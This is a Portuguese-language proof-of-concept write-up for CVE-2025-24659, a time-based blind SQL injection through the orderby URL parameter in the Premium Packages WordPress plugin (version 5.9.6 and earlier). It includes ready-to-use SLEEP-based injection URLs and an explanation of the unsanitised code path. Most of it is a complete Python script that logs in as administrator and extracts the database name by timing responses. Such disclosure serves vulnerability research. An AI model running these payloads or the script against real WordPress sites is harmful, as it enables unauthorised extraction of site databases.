
PoC of CVE-2025-24659
Plugin WordPress
Nome do componente Premium Packages – Sell Digital Products Securely
Versão vulnerável <= 5.9.6
Slug do componente wpdm-premium-packages
Link do componente https://wordpress.org/plugins/wpdm-premium-packages/
Classe de vulnerabilidade A3: Injeção
Tipo de vulnerabilidade Injeção SQL
Administrador
Existe uma vulnerabilidade de Injeção SQL nas versões 5.9.6 e anteriores do plugin Premium Packages - Sell Digital Products Securely (doravante referido como plugin Premium Packages). Isso ocorre devido à sanitização insuficiente do parâmetro de URL orderby ao visualizar a lista de pedidos no menu de pedidos do painel do plugin (/wp-admin/edit.php?post_type=wpdmpro&page=orders).
Como resultado, um invasor com privilégios de administrador pode explorar essa vulnerabilidade para acessar todas as informações armazenadas no banco de dados do site alvo.
Além disso, embora essa vulnerabilidade de Injeção SQL não permita a recuperação direta de dados a partir dos dados de resposta, as informações podem ser extraídas usando técnicas de Injeção SQL Cega Baseada em Tempo que exploram a diferença nos tempos de resposta com base em condições verdadeiras/falsas em consultas SQL.
Faça login como administrador em um site WordPress onde o plugin Premium Packages esteja instalado e ativado.
Como o plugin Premium Packages é um complemento para o plugin Download Manager (https://wordpress.org/plugins/download-manager/), o plugin Download Manager também deve estar instalado e ativado.
Após acessar a URL abaixo, a condição da consulta SQL (1=1) sempre será verdadeira, fazendo com que a página seja exibida após 5 segundos devido à função SLEEP(5).
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

1=2) é sempre falsa, a página é exibida imediatamente.http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

Ao solicitar o painel de lista de pedidos do plugin Premium Packages, o arquivo /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php é executado.
Neste ponto, o valor do parâmetro de URL orderby é atribuído à variável $orderby sem a devida sanitização. Subsequentemente, a variável $orderby é passada para a variável $qry e completa a cláusula order by na consulta SQL.

Em seguida, a variável $qry é passada como argumento para as funções totalOrders e GetAllOrders.
Essas funções são definidas no arquivo /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php, e o valor do argumento recebido é usado diretamente em consultas ao banco de dados.

Portanto, como o valor do parâmetro de URL orderby é usado diretamente em consultas ao banco de dados sem sanitização, ocorre uma vulnerabilidade de Injeção SQL.

Em seguida, digite o seguinte comando para executar o código PoC.
Módulos necessáriosrequests
python poc.py

import re
import time
import string
import requests
## To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
SLEEP_TIMER = 1
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- Successfully logged in with account {login_id}.")
return session
else:
raise Exception(f"[-] Failed to log in.")
def poc_get_db_length(session):
length = 1
while True:
payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) < SLEEP_TIMER:
print(f" |- Database name length is greater than {length}.")
length += 1
else:
print(f" |- Database name length: {length}")
break
return length
def poc_get_db_name(session, db_length):
db_name = ""
for i in range(1, db_length+1):
for char in string.ascii_letters + string.digits:
payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) > SLEEP_TIMER:
db_name += char
print(f" |- Database name: {db_name.ljust(db_length, '*')}")
break
print(f" |- Successfully extracted the database name: {db_name}")
def poc():
####
## 1. Log in as administrator
####
print(f"[+] Logging in with administrator account.")
print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
###
## 2. Retrieve database name length
###
print(f"[+] Retrieving database name length.")
db_length = poc_get_db_length(admin_session)
###
## 3. Retrieve database name
###
print(f"[+] Retrieving database name.")
poc_get_db_name(admin_session, db_length)
if __name__ == "__main__":
## WordPress Target
TARGET = "http://localhost:8080"
## Administrator ID/PW
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc()